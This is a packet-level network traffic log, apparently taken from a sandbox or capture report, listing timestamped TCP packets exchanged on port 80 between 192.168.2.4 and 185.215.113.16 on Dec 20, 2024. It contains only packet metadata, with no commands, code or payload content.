Dec 20, 2024 11:12:22.998215914 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.998270035 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.999244928 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.999283075 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:22.999465942 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:22.999516010 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.000370026 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.000416994 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.000497103 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.000600100 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.001581907 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.001640081 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.001643896 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.001678944 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.002654076 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.002707005 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.002757072 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.002847910 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.003782034 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.003829002 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.003885984 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.003936052 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.004897118 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.004961967 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.005017996 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.005991936 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.006032944 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.006082058 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.006156921 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.006203890 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.007190943 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.007241964 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.007245064 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.007308960 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.008347988 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.008481026 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.008500099 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.008654118 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.009608984 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.009654045 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.009783983 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.009845018 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.010627985 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.010673046 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.010724068 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.010773897 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.011753082 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.011802912 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.011897087 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.011950016 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.012866020 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.012914896 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.012985945 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.013035059 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.014022112 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.014123917 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.014137983 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.014189959 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.015150070 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.015199900 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.015264988 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.015355110 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.016313076 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.016352892 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.016382933 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.016431093 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.017427921 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.017477989 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.017540932 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.017592907 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.018551111 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.018601894 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.018660069 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.018740892 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.151911974 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.151983976 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.152118921 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.152169943 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.152338982 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.152458906 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.152483940 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.152533054 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.153574944 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.153775930 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.154063940 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.154120922 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.154120922 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.154162884 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.154988050 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.155040979 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.155132055 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.155185938 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.156281948 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.156333923 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.156403065 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.156455040 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.157253981 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.157299995 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.157382965 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.157427073 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.158411980 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.158467054 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.158523083 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.158682108 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.159532070 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.159589052 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.159646988 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.159744024 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.160728931 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.160774946 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.160887003 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.160926104 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.161844969 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.161890984 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.161936998 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.162024975 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.162946939 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.163000107 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.163059950 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.163125992 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.164113998 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.164164066 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.164200068 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.164243937 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.165261984 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.165297985 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.165308952 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.165342093 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.166357040 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.166402102 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.166501999 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.166552067 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.167517900 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.167567968 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.167607069 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.167654037 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.168633938 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.168683052 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.168749094 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.168983936 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.169792891 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.169841051 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.169846058 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.169893026 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.170887947 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.170941114 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.171006918 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.171063900 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.172142029 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.172177076 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.172190905 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.172219992 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.173186064 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.173239946 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.173290014 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.173450947 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.174284935 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.174343109 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.174408913 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.174503088 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.175414085 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.175462961 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.175467968 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.175529957 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.176562071 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.176608086 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.176677942 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.176774979 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.177705050 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.177757025 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.177773952 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.177820921 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.178833961 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.178916931 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.178962946 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.179022074 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.179960966 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.180012941 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.180015087 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.180063963 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.181099892 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.181144953 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.181168079 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.181268930 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.182265043 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.182317019 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.182349920 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.182514906 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.183372974 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.183428049 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.183479071 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.183583021 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.184504986 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.184555054 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.184619904 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.184669018 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.185656071 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.185710907 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.185785055 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.185883999 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.186769962 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.186826944 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.186909914 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.186958075 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.187916040 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.187964916 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.188031912 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.188075066 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.189042091 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.189101934 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.189152956 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.189199924 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.190182924 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.190232992 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.190299034 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.190360069 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.191350937 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.191401005 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.191437960 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.191603899 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.192492008 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.192548037 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.192548037 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.192651987 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.193660975 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.193710089 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.193774939 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.193816900 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.194741011 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.194797039 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.194858074 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.194926977 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.195868015 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.195976019 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.196012020 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.196995974 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.197037935 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.197052002 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.197101116 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.198122978 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.198174000 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.198282003 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.198462009 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.199258089 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.199307919 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.199393034 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.199656010 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.200439930 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.200495005 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.200495958 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.200534105 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.201581001 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.201632977 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.201711893 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.201761961 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.202758074 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.202794075 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.202821016 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.202836037 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.203809977 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.203864098 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.203923941 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.204996109 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.205046892 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.205075026 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.206125021 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.206176996 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.206309080 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.206348896 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.207246065 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.207453966 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.207505941 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.208560944 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.208651066 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.208707094 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.209511042 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.209753036 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.209800959 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.211014032 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.211054087 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.211071968 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.211107016 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.344183922 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.344239950 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.344307899 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.344435930 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.344496965 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.344552040 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.344593048 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.344644070 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.345613003 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.345669031 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.345719099 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.346790075 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.346892118 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.346940994 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.347908974 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.348058939 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.348109007 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.349051952 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.349102974 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.349107027 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.350286007 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.350334883 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.350342035 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.351291895 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.351340055 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.351406097 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.351454020 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.352442026 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.352564096 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.352613926 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.353579044 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.353744030 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.353797913 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.354728937 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.354785919 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.354840040 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.355861902 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.355892897 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.355904102 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.355977058 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.356961966 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.357012033 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.357076883 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.358081102 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.358130932 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.358211040 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.358258009 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.359256029 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.359894037 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.359981060 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.360025883 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.360378981 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.360426903 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.360506058 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.360552073 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.361573935 CET	80	49793	185.215.113.16	192.168.2.4
Dec 20, 2024 11:12:23.361622095 CET	49793	80	192.168.2.4	185.215.113.16
Dec 20, 2024 11:12:23.361665010 CET	80	49793	185.215.113.16	192.168.2.4
